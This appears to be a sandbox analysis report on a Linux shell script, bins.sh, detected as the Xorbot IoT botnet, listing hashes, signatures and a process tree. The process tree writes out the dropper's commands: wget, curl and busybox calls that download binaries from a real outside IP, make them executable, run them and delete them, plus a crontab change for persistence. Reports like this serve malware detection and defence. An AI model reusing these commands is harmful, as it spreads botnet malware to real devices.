Analysis

  • max time kernel
    150s
  • max time network
    109s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    30-11-2024 13:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bdc09f065df19d01eba9a4e456122e8d

  • SHA1

    9fcc847628cf1d5bb42ccf9d101fd0fd0d7d6851

  • SHA256

    7a490d353198bd3e1da7874fea36e53461790e1cc7e6c5afc7761ae3a52f5344

  • SHA512

    db69ef10f1144570e4c47c9c27a2a82eda6f9dcbcfc488f40fb22cd295f50ce2cb29fdb9eaf50d7e52720e44323f700979ddd17843bc0a60e06092dcdfe5a0be

  • SSDEEP

    192:h0kQ6fDzSTBYBoBYBhB9B9dGBOhk2kQ6fDzGBYBoBYBhB9Bu:hAUGBOWy

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          ./vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            ./PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              ./tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
                PID:762
              • /usr/bin/wget
                wget http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:771
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:786
              • /bin/chmod
                chmod 777 fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                ./fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Executes dropped EXE
                PID:798
              • /bin/rm
                rm fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                  PID:801
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:812
                • /tmp/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  ./xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:813
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:815
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:816
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:820
                    • /bin/rm
                      rm xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                      2⤵
                        PID:819
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                        2⤵
                          PID:823
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                          2⤵
                            PID:824
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            2⤵
                            • Writes file to tmp directory
                            PID:825
                          • /bin/chmod
                            chmod 777 dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            2⤵
                            • File and Directory Permissions Modification
                            PID:826
                          • /tmp/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            ./dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            2⤵
                            • Executes dropped EXE
                            PID:827
                          • /bin/rm
                            rm dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            2⤵
                              PID:829
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                              2⤵
                                PID:830

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /var/spool/cron/crontabs/tmp.7aBJfK

                              Filesize

                              210B

                              MD5

                              241c0c2c2ac50765eefcd04fb00b5f74

                              SHA1

                              397582510931c687afb66dd0c691eb82452ab1ad

                              SHA256

                              3c301a044777edc86aa0a7936b70a3217474d2d20ab435ccc8e081e8444d8a6b

                              SHA512

                              17e1965428f198902fa0ab991804b3e5bfd0fff2baa2aec322d51e445c31007c87cc69fe2482108042dd3f495e3301a9ed9310dc4a81fcb4df978dfb84263a47